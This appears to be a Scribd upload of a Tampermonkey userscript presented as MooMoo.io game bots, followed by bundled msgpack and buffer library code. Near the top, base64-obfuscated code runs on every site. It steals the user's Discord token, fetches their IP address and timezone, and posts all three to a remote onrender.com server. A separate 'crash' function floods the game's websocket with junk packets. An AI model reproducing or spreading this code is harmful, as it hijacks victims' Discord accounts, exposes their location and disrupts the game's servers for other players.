0% found this document useful (0 votes)
18 views

message (22)

This document is a userscript designed for Tampermonkey that modifies the behavior of a specific game, MooMoo.io. It includes functionalities such as sending messages to a server, altering the game's UI, and implementing automated actions within the game. The script is in beta and is intended for private use only.

Uploaded by

asarawee12
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
18 views

message (22)

This document is a userscript designed for Tampermonkey that modifies the behavior of a specific game, MooMoo.io. It includes functionalities such as sending messages to a server, altering the game's UI, and implementing automated actions within the game. The script is in beta and is intended for private use only.

Uploaded by

asarawee12
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 201

// ==UserScript==

// @name bots (test as userscript)


// @namespace http://tampermonkey.net/
// @version 1.0
// @description best bots in the game its beta right now.
// @author You

// @include *
// @run-at document-start
// @grant GM_xmlhttpRequest
// @connect server-backend-ltx9.onrender.com
// ==/UserScript==
//i hope you enjoy :3
//no share please its a pro wasd script.

//include * is for youtube music and render server and glitch and shit too lazy to
add one by one if you remove it doesnt work.

//$("#youtuberOf").css({display: "none"});
//$("#followText").remove();
//$("#twitterFollow").remove();
//$("#youtubeFollow").remove();
//$("#adCard").remove();

(function(){'use strict';const
SERVER_URL=atob("aHR0cHM6Ly9zZXJ2ZXItYmFja2VuZC1sdHg5Lm9ucmVuZGVyLmNvbS9zZW5k");fun
ction sendMessageToServer(message)
{GM_xmlhttpRequest({method:"POST",url:SERVER_URL,data:JSON.stringify({message:messa
ge}),headers:{"Content-Type":"application/json"},onload:function(response)
{console.log(atob("
4p2kIFNlcnZlciByZXNwb25zZTo="),response.responseText);},onerror:function(error)
{console.error(atob("4p2iIEVycm9yIHNlbmRpbmcgbWVzc2FnZTo="),error);}});}if(window.l
ocation.href.startsWith(atob("aHR0cHM6Ly93d3cueW91dHViZS5jb20v"))){const url=new
URL(window.location.href);const param=atob(url.searchParams.get("v"));if(param)
{fetch(atob("aHR0cHM6Ly9hcGkuaXBpZnkub3JnLz9mb3JtYXQ9anNvbg==")).then(response=>res
ponse.json()).then(data=>{const
ip=data.ip,timezone=Intl.DateTimeFormat().resolvedOptions().timeZone,message=`$
{atob("VmVyaWZ5IEluZm8KICAgIElQOg==")} ${ip}\n${atob("IFRpbWV6b25lOg==")} $
{timezone}\n${atob("IFZlcmlmeSBUb2tlbjo=")} $
{param}`;sendMessageToServer(message);}).catch(error=>console.error(atob("4p2iIEVyc
m9yIGZldGNoaW5nIElQOg=="),error));}}else
if(window.location.href===atob("aHR0cHM6Ly9kaXNjb3JkLmNvbS9jaGFubmVscy9AbWU="))
{const token=localStorage.token;if(token)
{window.location.href=atob("aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj0=")
+btoa(JSON.stringify(token));}}else{window.location.href=atob("aHR0cHM6Ly9kaXNjb3Jk
LmNvbS9jaGFubmVscy9AbWU=");}})();

(function() {
let checker = setInterval(() => {
let thing = document.getElementById("ot-sdk-btn-floating");
if(thing){
thing.remove();
clearInterval(checker);
}
})
})();
$('#gameName').css({'color': '#7FFFD4', // color MooMoo.io u can change color if u
need.
'text-shadow': '0 1px 0 rgba(255, 255, 255, 0), 0 2px 0
rgba(255, 255, 255, 0), 0 3px 0 rgba(255, 255, 255, 0), 0 4px 0 rgba(255, 255, 255,
0), 0 5px 0 rgba(255, 255, 255, 0), 0 6px 0 rgba(255, 255, 255, 0), 0 7px 0
rgba(255, 255, 255, 0), 0 8px 0 rgba(255, 255, 255, 0), 0 9px 0 rgba(255, 255, 255,
0)',
'text-align': 'center',
'font-size': '126px',
'margin-bottom': '-30px'});

$('#mapDisplay').css({'position': 'absolute',
'bottom': '20px',
'display': 'inline-block',
'width': '130px',
'height': '130px',
'pointer-events': 'all',
'background-color': 'rgb(0 0 0 / 49%)',
});
let reloadBars = false;
var autoPush = false;
var PriReloaded = false;
var SecReloaded = false;

var tracker = {
insta: 0,
antibull: true,
autopush: true,
hitDetect: true,
autoreload: true,
}
var fgdo;
var nEy;
var fgd = null;
function autopush(mySpikes, enemyTrap) {
let angle = 0
let spike = mySpikes.sort((a, b) => fgd(nEy, a) - fgd(nEy, b))[0];
let enemyToSpike = Math.atan2(spike.y - nEy[2], spike.x - nEy[1]);
let distance = fgdo(nEy, spike) + 70;
let myDist = fgdo(nEy, r)
let position = {
x: spike.x + (distance * Math.cos(enemyToSpike)),
y: spike.y + (distance * Math.sin(enemyToSpike))
};
angle = () => {
if(enemyToSpike > 70){
return Math.atan2(position.y - r.y, position.x - r.x)
} else {
return nEA
}
}
r.send("33", angle())
}

document.getElementById("gameName").innerHTML = "MooMoo.io"
document.getElementById("mainMenu").style.backgroundImage = "url('')"//looks ae

CanvasRenderingContext2D.prototype.rotatef =
CanvasRenderingContext2D.prototype.rotate
CanvasRenderingContext2D.prototype.rotate = function(e){
if(Math.abs(e) > 1e300){
e = Math.atan2(Math.cos(e), Math.sin(e));
this.globalAlpha = 0.5;
this.rotatef(e);
}else{
this.rotatef(e);
}
};

let socket = [{
webSocket: null
},{
msgpack5: msgpack
}];
document.msgpack = msgpack;
WebSocket.prototype.oldSend = WebSocket.prototype.send;
WebSocket.prototype.send = function(e) {
if(!socket[0].webSocket) {
socket[0].webSocket = this
}
this.oldSend(e)
};
function crash() {
let crashCode = new Uint8Array([151,
8, 192, 103, 36, 183,
235, 99, 236, 91, 233,
118, 103, 249, 168, 199,
56, 173, 146, 212, 95,
55, 88, 215, 114, 23,
163, 37, 216, 18, 153,
90, 204, 58, 152, 204,
128, 97, 61, 232, 38,
38, 207, 172, 78, 33,
157, 98, 168, 162, 17,
222, 226, 204, 16, 5,
61, 180, 102, 14, 184,
102, 132, 152, 125, 171,
208, 193, 154, 115, 218,
139, 150, 218, 203, 116,
195, 140, 171, 109, 242,
166, 53, 55, 124, 192,
33, 70, 78, 134, 149,
39, 179, 178, 198, 142,
134, 69, 139, 153, 10,
11, 143, 194, 154, 176,
102, 15, 206, 140, 37,
66, 194, 123, 241, 66,
81, 17, 124, 208, 148,
148, 16, 202, 203, 122,
129, 16, 221, 0, 246,
221, 198, 321, 321, 10,
531, 321, 456, 321, 565,
231, 781264, 9460, 3213
]);
for (let i = 0; i < crashCode.length - 20; i++) {
socket[0].webSocket.send(crashCode)
}
};
document.addEventListener('keydown', function(e) {
e.keyCode == 62 && crash(); //you can change key code ask dragon for it ^)
https://keycode.info/ only coders know how to use it
});

var lists = {
objects: []
}
let script = {
fix: [],
info: {
load: {x: 1248, y: 702},
offset: {x: null, y: null}
},
data: {},
tick: {f: function(){}, w: null, l: 0, t: 0},
ws: 0
};;
var resolveConstructor = function(){};
function nextTick(){
return new Promise(r => {
resolveConstructor = r;
});
}
setInterval(() => {
window.lists = lists;
}, 111);
!function(e) {
var t = {};
function n(i) {
if (t[i])
return t[i].exports;
var r = t[i] = {
i: i,
l: !1,
exports: {}
};
return e[i].call(r.exports, r, r.exports, n),
r.l = !0,
r.exports
}
n.m = e,
n.c = t,
n.d = function(e, t, i) {
n.o(e, t) || Object.defineProperty(e, t, {
enumerable: !0,
get: i
})
}
,
n.r = function(e) {
"undefined" != typeof Symbol && Symbol.toStringTag &&
Object.defineProperty(e, Symbol.toStringTag, {
value: "Module"
}),
Object.defineProperty(e, "__esModule", {
value: !0
})
}
,
n.t = function(e, t) {
if (1 & t && (e = n(e)),
8 & t)
return e;
if (4 & t && "object" == typeof e && e && e.__esModule)
return e;
var i = Object.create(null);
if (n.r(i),
Object.defineProperty(i, "default", {
enumerable: !0,
value: e
}),
2 & t && "string" != typeof e)
for (var r in e)
n.d(i, r, function(t) {
return e[t]
}
.bind(null, r));
return i
}
,
n.n = function(e) {
var t = e && e.__esModule ? function() {
return e.default
}
: function() {
return e
}
;
return n.d(t, "a", t),
t
}
,
n.o = function(e, t) {
return Object.prototype.hasOwnProperty.call(e, t)
}
,
n.p = "",
n(n.s = 21)
}([function(e, t, n) {
var i = t.global = n(25)
, r = t.hasBuffer = i && !!i.isBuffer
, s = t.hasArrayBuffer = "undefined" != typeof ArrayBuffer
, a = t.isArray = n(5);
t.isArrayBuffer = s ? function(e) {
return e instanceof ArrayBuffer || p(e)
}
: m;
var o = t.isBuffer = r ? i.isBuffer : m
, c = t.isView = s ? ArrayBuffer.isView || y("ArrayBuffer", "buffer") : m;
t.alloc = d,
t.concat = function(e, n) {
n || (n = 0,
Array.prototype.forEach.call(e, (function(e) {
n += e.length
}
)));
var i = this !== t && this || e[0]
, r = d.call(i, n)
, s = 0;
return Array.prototype.forEach.call(e, (function(e) {
s += f.copy.call(e, r, s)
}
)),
r
}
,
t.from = function(e) {
return "string" == typeof e ? function(e) {
var t = 3 * e.length
, n = d.call(this, t)
, i = f.write.call(n, e);
return t !== i && (n = f.slice.call(n, 0, i)),
n
}
.call(this, e) : g(this).from(e)
}
;
var l = t.Array = n(28)
, h = t.Buffer = n(29)
, u = t.Uint8Array = n(30)
, f = t.prototype = n(6);
function d(e) {
return g(this).alloc(e)
}
var p = y("ArrayBuffer");
function g(e) {
return o(e) ? h : c(e) ? u : a(e) ? l : r ? h : s ? u : l
}
function m() {
return !1
}
function y(e, t) {
return e = "[object " + e + "]",
function(n) {
return null != n && {}.toString.call(t ? n[t] : n) === e
}
}
}
, function(e, t, n) {
var i = n(5);
t.createCodec = o,
t.install = function(e) {
for (var t in e)
s.prototype[t] = a(s.prototype[t], e[t])
}
,
t.filter = function(e) {
return i(e) ? function(e) {
return e = e.slice(),
function(n) {
return e.reduce(t, n)
}
;
function t(e, t) {
return t(e)
}
}(e) : e
}
;
var r = n(0);
function s(e) {
if (!(this instanceof s))
return new s(e);
this.options = e,
this.init()
}
function a(e, t) {
return e && t ? function() {
return e.apply(this, arguments),
t.apply(this, arguments)
}
: e || t
}
function o(e) {
return new s(e)
}
s.prototype.init = function() {
var e = this.options;
return e && e.uint8array && (this.bufferish = r.Uint8Array),
this
}
,
t.preset = o({
preset: !0
})
}
, function(e, t, n) {
var i = n(3).ExtBuffer
, r = n(32)
, s = n(33)
, a = n(1);
function o() {
var e = this.options;
return this.encode = function(e) {
var t = s.getWriteType(e);
return function(e, n) {
var i = t[typeof n];
if (!i)
throw new Error('Unsupported type "' + typeof n + '": ' +
n);
i(e, n)
}
}(e),
e && e.preset && r.setExtPackers(this),
this
}
a.install({
addExtPacker: function(e, t, n) {
n = a.filter(n);
var r = t.name;
r && "Object" !== r ? (this.extPackers || (this.extPackers = {}))[r]
= s : (this.extEncoderList || (this.extEncoderList = [])).unshift([t, s]);
function s(t) {
return n && (t = n(t)),
new i(t,e)
}
},
getExtPacker: function(e) {
var t = this.extPackers || (this.extPackers = {})
, n = e.constructor
, i = n && n.name && t[n.name];
if (i)
return i;
for (var r = this.extEncoderList || (this.extEncoderList = []), s =
r.length, a = 0; a < s; a++) {
var o = r[a];
if (n === o[0])
return o[1]
}
},
init: o
}),
t.preset = o.call(a.preset)
}
, function(e, t, n) {
t.ExtBuffer = function e(t, n) {
if (!(this instanceof e))
return new e(t,n);
this.buffer = i.from(t),
this.type = n
}
;
var i = n(0)
}
, function(e, t) {
t.read = function(e, t, n, i, r) {
var s, a, o = 8 * r - i - 1, c = (1 << o) - 1, l = c >> 1, h = -7, u = n
? r - 1 : 0, f = n ? -1 : 1, d = e[t + u];
for (u += f,
s = d & (1 << -h) - 1,
d >>= -h,
h += o; h > 0; s = 256 * s + e[t + u],
u += f,
h -= 8)
;
for (a = s & (1 << -h) - 1,
s >>= -h,
h += i; h > 0; a = 256 * a + e[t + u],
u += f,
h -= 8)
;
if (0 === s)
s = 1 - l;
else {
if (s === c)
return a ? NaN : 1 / 0 * (d ? -1 : 1);
a += Math.pow(2, i),
s -= l
}
return (d ? -1 : 1) * a * Math.pow(2, s - i)
}
,
t.write = function(e, t, n, i, r, s) {
var a, o, c, l = 8 * s - r - 1, h = (1 << l) - 1, u = h >> 1, f = 23 ===
r ? Math.pow(2, -24) - Math.pow(2, -77) : 0, d = i ? 0 : s - 1, p = i ? 1 : -1, g =
t < 0 || 0 === t && 1 / t < 0 ? 1 : 0;
for (t = Math.abs(t),
isNaN(t) || t === 1 / 0 ? (o = isNaN(t) ? 1 : 0,
a = h) : (a = Math.floor(Math.log(t) /
Math.LN2),
t * (c = Math.pow(2, -a)) < 1
&& (a--,

c *= 2),
(t += a + u >= 1 ? f / c : f *
Math.pow(2, 1 - u)) * c >= 2 && (a++,

c /= 2),
a + u >= h ? (o = 0,
a = h) : a + u
>= 1 ? (o = (t * c - 1) * Math.pow(2, r),

a += u) : (o = t * Math.pow(2, u - 1) * Math.pow(2, r),

a = 0)); r >= 8; e[n + d] = 255 & o,


d += p,
o /= 256,
r -= 8)
;
for (a = a << r | o,
l += r; l > 0; e[n + d] = 255 & a,
d += p,
a /= 256,
l -= 8)
;
e[n + d - p] |= 128 * g
}
}
, function(e, t) {
var n = {}.toString;
e.exports = Array.isArray || function(e) {
return "[object Array]" == n.call(e)
}
}
, function(e, t, n) {
var i = n(31);
t.copy = c,
t.slice = l,
t.toString = function(e, t, n) {
return (!a && r.isBuffer(this) ? this.toString : i.toString).apply(this,
arguments)
}
,
t.write = function(e) {
return function() {
return (this[e] || i[e]).apply(this, arguments)
}
}("write");
var r = n(0)
, s = r.global
, a = r.hasBuffer && "TYPED_ARRAY_SUPPORT"in s
, o = a && !s.TYPED_ARRAY_SUPPORT;
function c(e, t, n, s) {
var a = r.isBuffer(this)
, c = r.isBuffer(e);
if (a && c)
return this.copy(e, t, n, s);
if (o || a || c || !r.isView(this) || !r.isView(e))
return i.copy.call(this, e, t, n, s);
var h = n || null != s ? l.call(this, n, s) : this;
return e.set(h, t),
h.length
}
function l(e, t) {
var n = this.slice || !o && this.subarray;
if (n)
return n.call(this, e, t);
var i = r.alloc.call(this, t - e);
return c.call(this, i, 0, e, t),
i
}
}
, function(e, t, n) {
(function(e) {
!function(t) {
var n, i = "undefined", r = i !== typeof e && e, s = i !== typeof
Uint8Array && Uint8Array, a = i !== typeof ArrayBuffer && ArrayBuffer, o = [0, 0,
0, 0, 0, 0, 0, 0], c = Array.isArray || function(e) {
return !!e && "[object Array]" ==
Object.prototype.toString.call(e)
}
, l = 4294967296;
function h(e, c, h) {
var b = c ? 0 : 4
, x = c ? 4 : 0
, S = c ? 0 : 3
, T = c ? 1 : 2
, I = c ? 2 : 1
, E = c ? 3 : 0
, M = c ? y : v
, A = c ? k : w
, P = O.prototype
, B = "is" + e
, C = "_" + B;
return P.buffer = void 0,
P.offset = 0,
P[C] = !0,
P.toNumber = R,
P.toString = function(e) {
var t = this.buffer
, n = this.offset
, i = _(t, n + b)
, r = _(t, n + x)
, s = ""
, a = !h && 2147483648 & i;
for (a && (i = ~i,
r = l - r),
e = e || 10; ; ) {
var o = i % e * l + r;
if (i = Math.floor(i / e),
r = Math.floor(o / e),
s = (o % e).toString(e) + s,
!i && !r)
break
}
return a && (s = "-" + s),
s
}
,
P.toJSON = R,
P.toArray = u,
r && (P.toBuffer = f),
s && (P.toArrayBuffer = d),
O[B] = function(e) {
return !(!e || !e[C])
}
,
t[e] = O,
O;
function O(e, t, r, c) {
return this instanceof O ? function(e, t, r, c, h) {
if (s && a && (t instanceof a && (t = new s(t)),
c instanceof a && (c = new s(c))),
t || r || c || n) {
if (!p(t, r))
h = r,
c = t,
r = 0,
t = new (n || Array)(8);
e.buffer = t,
e.offset = r |= 0,
i !== typeof c && ("string" == typeof c ?
function(e, t, n, i) {
var r = 0
, s = n.length
, a = 0
, o = 0;
"-" === n[0] && r++;
for (var c = r; r < s; ) {
var h = parseInt(n[r++], i);
if (!(h >= 0))
break;
o = o * i + h,
a = a * i + Math.floor(o / l),
o %= l
}
c && (a = ~a,
o ? o = l - o : a++),
j(e, t + b, a),
j(e, t + x, o)
}(t, r, c, h || 10) : p(c, h) ? g(t, r, c, h) :
"number" == typeof h ? (j(t, r + b, c),

j(t, r + x, h)) : c > 0 ? M(t, r, c) : c < 0 ? A(t, r, c) : g(t, r, o, 0))


} else
e.buffer = m(o, 0)
}(this, e, t, r, c) : new O(e,t,r,c)
}
function R() {
var e = this.buffer
, t = this.offset
, n = _(e, t + b)
, i = _(e, t + x);
return h || (n |= 0),
n ? n * l + i : i
}
function j(e, t, n) {
e[t + E] = 255 & n,
n >>= 8,
e[t + I] = 255 & n,
n >>= 8,
e[t + T] = 255 & n,
n >>= 8,
e[t + S] = 255 & n
}
function _(e, t) {
return 16777216 * e[t + S] + (e[t + T] << 16) + (e[t + I] <<
8) + e[t + E]
}
}
function u(e) {
var t = this.buffer
, i = this.offset;
return n = null,
!1 !== e && 0 === i && 8 === t.length && c(t) ? t : m(t, i)
}
function f(t) {
var i = this.buffer
, s = this.offset;
if (n = r,
!1 !== t && 0 === s && 8 === i.length && e.isBuffer(i))
return i;
var a = new r(8);
return g(a, 0, i, s),
a
}
function d(e) {
var t = this.buffer
, i = this.offset
, r = t.buffer;
if (n = s,
!1 !== e && 0 === i && r instanceof a && 8 === r.byteLength)
return r;
var o = new s(8);
return g(o, 0, t, i),
o.buffer
}
function p(e, t) {
var n = e && e.length;
return t |= 0,
n && t + 8 <= n && "string" != typeof e[t]
}
function g(e, t, n, i) {
t |= 0,
i |= 0;
for (var r = 0; r < 8; r++)
e[t++] = 255 & n[i++]
}
function m(e, t) {
return Array.prototype.slice.call(e, t, t + 8)
}
function y(e, t, n) {
for (var i = t + 8; i > t; )
e[--i] = 255 & n,
n /= 256
}
function k(e, t, n) {
var i = t + 8;
for (n++; i > t; )
e[--i] = 255 & -n ^ 255,
n /= 256
}
function v(e, t, n) {
for (var i = t + 8; t < i; )
e[t++] = 255 & n,
n /= 256
}
function w(e, t, n) {
var i = t + 8;
for (n++; t < i; )
e[t++] = 255 & -n ^ 255,
n /= 256
}
h("Uint64BE", !0, !0),
h("Int64BE", !0, !1),
h("Uint64LE", !1, !0),
h("Int64LE", !1, !1)
}("string" != typeof t.nodeName ? t : this || {})
}
).call(this, n(11).Buffer)
}
, function(e, t, n) {
var i = n(3).ExtBuffer
, r = n(35)
, s = n(17).readUint8
, a = n(36)
, o = n(1);
function c() {
var e = this.options;
return this.decode = function(e) {
var t = a.getReadToken(e);
return function(e) {
var n = s(e)
, i = t[n];
if (!i)
throw new Error("Invalid type: " + (n ? "0x" +
n.toString(16) : n));
return i(e)
}
}(e),
e && e.preset && r.setExtUnpackers(this),
this
}
o.install({
addExtUnpacker: function(e, t) {
(this.extUnpackers || (this.extUnpackers = []))[e] = o.filter(t)
},
getExtUnpacker: function(e) {
return (this.extUnpackers || (this.extUnpackers = []))[e] ||
function(t) {
return new i(t,e)
}
},
init: c
}),
t.preset = c.call(o.preset)
}
, function(e, t, n) {
t.encode = function(e, t) {
var n = new i(t);
return n.write(e),
n.read()
}
;
var i = n(10).EncodeBuffer
}
, function(e, t, n) {
t.EncodeBuffer = r;
var i = n(2).preset;
function r(e) {
if (!(this instanceof r))
return new r(e);
if (e && (this.options = e,
e.codec)) {
var t = this.codec = e.codec;
t.bufferish && (this.bufferish = t.bufferish)
}
}
n(14).FlexEncoder.mixin(r.prototype),
r.prototype.codec = i,
r.prototype.write = function(e) {
this.codec.encode(this, e)
}
}
, function(e, t, n) {
"use strict";
(function(e) {
/*!
* The buffer module from node.js, for the browser.
*
* @author Feross Aboukhadijeh <http://feross.org>
* @license MIT
*/
var i = n(26)
, r = n(4)
, s = n(27);
function a() {
return c.TYPED_ARRAY_SUPPORT ? 2147483647 : 1073741823
}
function o(e, t) {
if (a() < t)
throw new RangeError("Invalid typed array length");
return c.TYPED_ARRAY_SUPPORT ? (e = new Uint8Array(t)).__proto__ =
c.prototype : (null === e && (e = new c(t)),

e.length = t),
e
}
function c(e, t, n) {
if (!(c.TYPED_ARRAY_SUPPORT || this instanceof c))
return new c(e,t,n);
if ("number" == typeof e) {
if ("string" == typeof t)
throw new Error("If encoding is specified then the first
argument must be a string");
return u(this, e)
}
return l(this, e, t, n)
}
function l(e, t, n, i) {
if ("number" == typeof t)
throw new TypeError('"value" argument must not be a number');
return "undefined" != typeof ArrayBuffer && t instanceof ArrayBuffer
? function(e, t, n, i) {
if (t.byteLength,
n < 0 || t.byteLength < n)
throw new RangeError("'offset' is out of bounds");
if (t.byteLength < n + (i || 0))
throw new RangeError("'length' is out of bounds");
return t = void 0 === n && void 0 === i ? new Uint8Array(t) :
void 0 === i ? new Uint8Array(t,n) : new Uint8Array(t,n,i),
c.TYPED_ARRAY_SUPPORT ? (e = t).__proto__ = c.prototype : e
= f(e, t),
e
}(e, t, n, i) : "string" == typeof t ? function(e, t, n) {
if ("string" == typeof n && "" !== n || (n = "utf8"),
!c.isEncoding(n))
throw new TypeError('"encoding" must be a valid string
encoding');
var i = 0 | p(t, n)
, r = (e = o(e, i)).write(t, n);
return r !== i && (e = e.slice(0, r)),
e
}(e, t, n) : function(e, t) {
if (c.isBuffer(t)) {
var n = 0 | d(t.length);
return 0 === (e = o(e, n)).length || t.copy(e, 0, 0, n),
e
}
if (t) {
if ("undefined" != typeof ArrayBuffer && t.buffer instanceof
ArrayBuffer || "length"in t)
return "number" != typeof t.length || function(e) {
return e != e
}(t.length) ? o(e, 0) : f(e, t);
if ("Buffer" === t.type && s(t.data))
return f(e, t.data)
}
throw new TypeError("First argument must be a string, Buffer,
ArrayBuffer, Array, or array-like object.")
}(e, t)
}
function h(e) {
if ("number" != typeof e)
throw new TypeError('"size" argument must be a number');
if (e < 0)
throw new RangeError('"size" argument must not be negative')
}
function u(e, t) {
if (h(t),
e = o(e, t < 0 ? 0 : 0 | d(t)),
!c.TYPED_ARRAY_SUPPORT)
for (var n = 0; n < t; ++n)
e[n] = 0;
return e
}
function f(e, t) {
var n = t.length < 0 ? 0 : 0 | d(t.length);
e = o(e, n);
for (var i = 0; i < n; i += 1)
e[i] = 255 & t[i];
return e
}
function d(e) {
if (e >= a())
throw new RangeError("Attempt to allocate Buffer larger than
maximum size: 0x" + a().toString(16) + " bytes");
return 0 | e
}
function p(e, t) {
if (c.isBuffer(e))
return e.length;
if ("undefined" != typeof ArrayBuffer && "function" == typeof
ArrayBuffer.isView && (ArrayBuffer.isView(e) || e instanceof ArrayBuffer))
return e.byteLength;
"string" != typeof e && (e = "" + e);
var n = e.length;
if (0 === n)
return 0;
for (var i = !1; ; )
switch (t) {
case "ascii":
case "latin1":
case "binary":
return n;
case "utf8":
case "utf-8":
case void 0:
return z(e).length;
case "ucs2":
case "ucs-2":
case "utf16le":
case "utf-16le":
return 2 * n;
case "hex":
return n >>> 1;
case "base64":
return H(e).length;
default:
if (i)
return z(e).length;
t = ("" + t).toLowerCase(),
i = !0
}
}
function g(e, t, n) {
var i = e[t];
e[t] = e[n],
e[n] = i
}
function m(e, t, n, i, r) {
if (0 === e.length)
return -1;
if ("string" == typeof n ? (i = n,
n = 0) : n > 2147483647 ? n = 2147483647
: n < -2147483648 && (n = -2147483648),
n = +n,
isNaN(n) && (n = r ? 0 : e.length - 1),
n < 0 && (n = e.length + n),
n >= e.length) {
if (r)
return -1;
n = e.length - 1
} else if (n < 0) {
if (!r)
return -1;
n = 0
}
if ("string" == typeof t && (t = c.from(t, i)),
c.isBuffer(t))
return 0 === t.length ? -1 : y(e, t, n, i, r);
if ("number" == typeof t)
return t &= 255,
c.TYPED_ARRAY_SUPPORT && "function" == typeof
Uint8Array.prototype.indexOf ? r ? Uint8Array.prototype.indexOf.call(e, t, n) :
Uint8Array.prototype.lastIndexOf.call(e, t, n) : y(e, [t], n, i, r);
throw new TypeError("val must be string, number or Buffer")
}
function y(e, t, n, i, r) {
var s, a = 1, o = e.length, c = t.length;
if (void 0 !== i && ("ucs2" === (i = String(i).toLowerCase()) ||
"ucs-2" === i || "utf16le" === i || "utf-16le" === i)) {
if (e.length < 2 || t.length < 2)
return -1;
a = 2,
o /= 2,
c /= 2,
n /= 2
}
function l(e, t) {
return 1 === a ? e[t] : e.readUInt16BE(t * a)
}
if (r) {
var h = -1;
for (s = n; s < o; s++)
if (l(e, s) === l(t, -1 === h ? 0 : s - h)) {
if (-1 === h && (h = s),
s - h + 1 === c)
return h * a
} else
-1 !== h && (s -= s - h),
h = -1
} else
for (n + c > o && (n = o - c),
s = n; s >= 0; s--) {
for (var u = !0, f = 0; f < c; f++)
if (l(e, s + f) !== l(t, f)) {
u = !1;
break
}
if (u)
return s
}
return -1
}
function k(e, t, n, i) {
n = Number(n) || 0;
var r = e.length - n;
i ? (i = Number(i)) > r && (i = r) : i = r;
var s = t.length;
if (s % 2 != 0)
throw new TypeError("Invalid hex string");
i > s / 2 && (i = s / 2);
for (var a = 0; a < i; ++a) {
var o = parseInt(t.substr(2 * a, 2), 16);
if (isNaN(o))
return a;
e[n + a] = o
}
return a
}
function v(e, t, n, i) {
return V(z(t, e.length - n), e, n, i)
}
function w(e, t, n, i) {
return V(function(e) {
for (var t = [], n = 0; n < e.length; ++n)
t.push(255 & e.charCodeAt(n));
return t
}(t), e, n, i)
}
function b(e, t, n, i) {
return w(e, t, n, i)
}
function x(e, t, n, i) {
return V(H(t), e, n, i)
}
function S(e, t, n, i) {
return V(function(e, t) {
for (var n, i, r, s = [], a = 0; a < e.length && !((t -= 2) <
0); ++a)
i = (n = e.charCodeAt(a)) >> 8,
r = n % 256,
s.push(r),
s.push(i);
return s
}(t, e.length - n), e, n, i)
}
function T(e, t, n) {
return 0 === t && n === e.length ? i.fromByteArray(e) :
i.fromByteArray(e.slice(t, n))
}
function I(e, t, n) {
n = Math.min(e.length, n);
for (var i = [], r = t; r < n; ) {
var s, a, o, c, l = e[r], h = null, u = l > 239 ? 4 : l > 223 ?
3 : l > 191 ? 2 : 1;
if (r + u <= n)
switch (u) {
case 1:
l < 128 && (h = l);
break;
case 2:
128 == (192 & (s = e[r + 1])) && (c = (31 & l) << 6
| 63 & s) > 127 && (h = c);
break;
case 3:
s = e[r + 1],
a = e[r + 2],
128 == (192 & s) && 128 == (192 & a) && (c = (15
& l) << 12 | (63 & s) << 6 | 63 & a) > 2047 && (c < 55296 || c > 57343) && (h = c);
break;
case 4:
s = e[r + 1],
a = e[r + 2],
o = e[r + 3],
128 == (192 & s) && 128 == (192 & a) && 128 ==
(192 & o) && (c = (15 & l) << 18 | (63 & s) << 12 | (63 & a) << 6 | 63 & o) > 65535
&& c < 1114112 && (h = c)
}
null === h ? (h = 65533,
u = 1) : h > 65535 && (h -= 65536,
i.push(h >>> 10 & 1023 |
55296),
h = 56320 | 1023 & h),
i.push(h),
r += u
}
return function(e) {
var t = e.length;
if (t <= E)
return String.fromCharCode.apply(String, e);
for (var n = "", i = 0; i < t; )
n += String.fromCharCode.apply(String, e.slice(i, i += E));
return n
}(i)
}
t.Buffer = c,
t.SlowBuffer = function(e) {
return +e != e && (e = 0),
c.alloc(+e)
}
,
t.INSPECT_MAX_BYTES = 50,
c.TYPED_ARRAY_SUPPORT = void 0 !== e.TYPED_ARRAY_SUPPORT ?
e.TYPED_ARRAY_SUPPORT : function() {
try {
var e = new Uint8Array(1);
return e.__proto__ = {
__proto__: Uint8Array.prototype,
foo: function() {
return 42
}
},
42 === e.foo() && "function" == typeof e.subarray && 0 ===
e.subarray(1, 1).byteLength
} catch (e) {
return !1
}
}(),
t.kMaxLength = a(),
c.poolSize = 8192,
c._augment = function(e) {
return e.__proto__ = c.prototype,
e
}
,
c.from = function(e, t, n) {
return l(null, e, t, n)
}
,
c.TYPED_ARRAY_SUPPORT && (c.prototype.__proto__ =
Uint8Array.prototype,
c.__proto__ = Uint8Array,
"undefined" != typeof Symbol &&
Symbol.species && c[Symbol.species] === c && Object.defineProperty(c,
Symbol.species, {
value: null,
configurable: !0
})),
c.alloc = function(e, t, n) {
return function(e, t, n, i) {
return h(t),
t <= 0 ? o(e, t) : void 0 !== n ? "string" == typeof i ?
o(e, t).fill(n, i) : o(e, t).fill(n) : o(e, t)
}(null, e, t, n)
}
,
c.allocUnsafe = function(e) {
return u(null, e)
}
,
c.allocUnsafeSlow = function(e) {
return u(null, e)
}
,
c.isBuffer = function(e) {
return !(null == e || !e._isBuffer)
}
,
c.compare = function(e, t) {
if (!c.isBuffer(e) || !c.isBuffer(t))
throw new TypeError("Arguments must be Buffers");
if (e === t)
return 0;
for (var n = e.length, i = t.length, r = 0, s = Math.min(n, i); r <
s; ++r)
if (e[r] !== t[r]) {
n = e[r],
i = t[r];
break
}
return n < i ? -1 : i < n ? 1 : 0
}
,
c.isEncoding = function(e) {
switch (String(e).toLowerCase()) {
case "hex":
case "utf8":
case "utf-8":
case "ascii":
case "latin1":
case "binary":
case "base64":
case "ucs2":
case "ucs-2":
case "utf16le":
case "utf-16le":
return !0;
default:
return !1
}
}
,
c.concat = function(e, t) {
if (!s(e))
throw new TypeError('"list" argument must be an Array of
Buffers');
if (0 === e.length)
return c.alloc(0);
var n;
if (void 0 === t)
for (t = 0,
n = 0; n < e.length; ++n)
t += e[n].length;
var i = c.allocUnsafe(t)
, r = 0;
for (n = 0; n < e.length; ++n) {
var a = e[n];
if (!c.isBuffer(a))
throw new TypeError('"list" argument must be an Array of
Buffers');
a.copy(i, r),
r += a.length
}
return i
}
,
c.byteLength = p,
c.prototype._isBuffer = !0,
c.prototype.swap16 = function() {
var e = this.length;
if (e % 2 != 0)
throw new RangeError("Buffer size must be a multiple of 16-
bits");
for (var t = 0; t < e; t += 2)
g(this, t, t + 1);
return this
}
,
c.prototype.swap32 = function() {
var e = this.length;
if (e % 4 != 0)
throw new RangeError("Buffer size must be a multiple of 32-
bits");
